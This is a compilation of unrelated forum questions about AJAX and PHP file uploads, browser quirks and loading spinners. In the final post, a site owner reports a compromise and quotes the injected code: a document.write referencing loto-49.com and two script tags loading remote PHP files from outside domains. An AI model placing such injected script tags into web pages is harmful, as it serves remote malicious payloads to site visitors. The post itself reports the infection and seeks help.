AJAX + Php + File Uploading
Jan 29, 2006
I'm writing script using AJAX and PHP to upload files. I'm trying to
create progress bar to show how many bytes have been already uploaded to
server.
Can I get the total file size (using JS) before sending it to server or
immediately after start sending it?
And how to obtain amount o bytes that have been already transfered to
server using JS? I know how to do it in PHP (XMLHttpRequest to php file
that counts temporary file size), but is it possible in JS?

I have an ajax function which passes form field values to a PHP script which in turn saves the data to my database. all works great.
I now need to add a file input to my form and pass the file upload ot the same PHP script.
I have read an article [url] which explains how to do this but this would suggest it is a completely separate function.
My question is, is there anyway I can expand my existing function (below) to inlude the file upload process to save having 2 functions doing the same process?

In JSP / HTML, I want to restrict the size of file being uploaded.
If the size of file more than a specific size say 5MB, i want to give mesage to the user. I don't want to wait till the file gets uploaded to server and then validate the file size. I need client side validation. Can it be done using scripting language or any other way?
I need a solution for this in Internet Explorer. There is already a solution I got using ActiveX control:
But ActiveX controls not allowed in our application. Is there any alternative way for this?

This might be a combo Javascript / CSS question I'm building a website, and I'm wanting to have small, approx 100px x 100px pop up display that has a "page loading" spinning gif. I also want the page to fade out while this image is displayed. For instance, someone submits a form that takes 3-4 seconds to load. Once they hit submit, the screen darkens, the new window comes into focus, center of screen, and it has some kind of rotating gif, basically a trigger 'on submit'..

I implemented Malsups jquery form and use it for ajax file uploads. Works fine in FF, but in IE as soon as the ajax has completed the upload IE gives me a File Download box - Security warning. If I click on save it save thereturnedJson object (I do JS call onsuccessto get a file list and display it). If I click cancel or save on the popup has same effect the file still gets uploaded but just looks ugly.
How can I get rid of this? All coming form the same domain, calling from the same domain. This is on a python django project and I am testing it on the dev server.
Its pretty basic jquery nothing to exciting, don't get why IE would cause.

I'm writing a class that will enable the user to upload files to
the server without reloading the current page (using target="iframe"),
and it works just fine in Firefox, but when I test it in IE, first of
all, the iframe is not targetted at all, and IE stupidly opens a new
window, second the <input type="file" element looses it's name
attribute for some reason... I tried using DOM and assigning the
element thru innerHTML, both will just not work in IE (and will just
fine in Firefox). Those interested to have the source code (commented
in french) may just ask me. But if anyone had similar problems, and
would want to share with me, I'd really much appreciate, because this
is driving me insane!

I have heard that there is a java script that enables clients to upload files through the browser from a page on my site. I have tried CGI and Perl but my server wont allow them.

Is there a way I can use JavaScript to compile a list of checkboxes with the value of the url of the file I wish to upload from my computer.And then with that checklist PHP can grab the files from my computer and upload them to the server. Doesn't have the be checkboxes but basically a list of locations so the files can be uploaded one after another. Much like Facebook's ability to upload multiple files. I can't find out how to select multiple files, so I figured just compile a list.

I tried the script below in IE 6, 7, and 8 and it all seems to work, but it doesn't work with firefox 3. I'm trying to do a preview to an upload image, pretty much like how kijiji does it.

On uploading files (PHP and javascript) to the server from local machine via dreamweaver, Google Chrome reported the presence of malicious codes (like loto-49) inside the server page. Later when I checked, I found that a HTML Code:document.write('....loto-49.com....'); was automatically added at the end of each javascript *.js files. On their removal, the warnings were gone.Recently, they again appeared. Between the closure of the head tag (</head>) and the start of the body tag(<body>) the following code is added automatically:
HTML Code:
<script src=http://hilalgroup.com/images/gifimg.php ></script> <script src=http://pianotainment.com/images/gifimg.php ></script>
